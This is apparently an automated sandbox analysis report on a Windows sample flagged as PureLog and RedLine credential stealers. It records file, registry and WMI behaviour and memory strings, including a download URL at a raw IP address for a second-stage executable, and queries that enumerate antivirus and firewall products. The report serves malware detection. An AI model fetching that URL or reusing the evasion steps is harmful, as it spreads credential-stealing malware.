Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00412A15 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00412A15

Source: C:\ProgramData\MicrosoftSystem\svchosl.exe

Code function: 14_2_00007FF77B345B00 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

14_2_00007FF77B345B00

Source: C:\Users\123.exe

Code function: 3_2_00EBB146 GetVersionExW,

3_2_00EBB146

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]q6http://77.221.149.185/clients/123.exe\|C:\users\123.exe
Source: 123.exe, 00000003.00000002.2357941483.0000000006A7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sers\123.exe
Source: 123.exe, 00000003.00000002.2355698018.0000000000680000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: XDhC:\users\123.exe
Source: Wmiic.exe, 00000006.00000002.2358490525.0000000000900000.00000004.00000020.00020000.00000000.sdmp, Wmiic.exe, 00000006.00000002.2358262764.00000000004DC000.00000004.00000020.00020000.00000000.sdmp, Wmiic.exe, 00000006.00000002.2358565895.0000000000910000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 00000007.00000002.2365024291.00000000035E8000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 00000007.00000002.2365161763.0000000005040000.00000004.00000020.00020000.00000000.sdmp, Wmiic.exe, 00000009.00000002.2384089372.0000000000443000.00000004.00000020.00020000.00000000.sdmp, Wmiic.exe, 00000009.00000002.2384163111.0000000000490000.00000004.00000020.00020000.00000000.sdmp, Wmiic.exe, 00000009.00000002.2384235903.00000000004C8000.00000004.00000020.00020000.00000000.sdmp, Wmiic.exe, 00000009.00000002.2384452858.00000000020E0000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 0000000A.00000002.2384236321.0000000000D30000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 0000000A.00000002.2384016099.0000000000568000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sfxname=C:\users\123.exe
Source: Wmiic.exe, 00000006.00000002.2358262764.00000000004DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \123.exe
Source: file.exe, 00000000.00000002.3280784216.00000000049E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.00000000049D4000.00000004.00000800.00020000.00000000.sdmp, 123.exe, 123.exe, 00000003.00000002.2354767199.00000000004CE000.00000004.00000010.00020000.00000000.sdmp, 123.exe, 00000003.00000002.2355698018.0000000000687000.00000004.00000020.00020000.00000000.sdmp, 123.exe, 00000003.00000002.2356597327.0000000000F12000.00000004.00000001.01000000.00000008.sdmp, 123.exe, 00000003.00000002.2355698018.0000000000680000.00000004.00000020.00020000.00000000.sdmp, 123.exe, 00000003.00000002.2354767199.00000000004D8000.00000004.00000010.00020000.00000000.sdmp, 123.exe, 00000003.00000002.2354767199.00000000004E5000.00000004.00000010.00020000.00000000.sdmp, 123.exe, 00000003.00000002.2354767199.00000000004FA000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: C:\users\123.exe
Source: file.exe, 00000000.00000003.2297306478.0000000008A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2297614225.0000000008A02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: 123.exe, 00000003.00000002.2354767199.00000000004E5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: C:\users\123.exe
Source: file.exe, 00000000.00000002.3280784216.00000000049E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.00000000049D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: `,]qdC:\users\123.exe
Source: file.exe, 00000000.00000002.3280784216.00000000049E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.00000000049D4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3296009527.0000000008990000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3296547554.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, 123.exe, 00000003.00000002.2357941483.0000000006A61000.00000004.00000020.00020000.00000000.sdmp, 123.exe, 00000003.00000002.2357941483.0000000006A7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 123.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.file.exe.7590000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4800ee8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.45edbe6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.45edbe6.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4800000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.45eccfe.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4800000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4800ee8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.7590000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.45eccfe.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3280253389.00000000045AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3280551668.0000000004800000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3289464221.0000000007590000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2079601696.0000000006D61000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.file.exe.7590000.7.raw.unpack, type: UNPACKEDPE
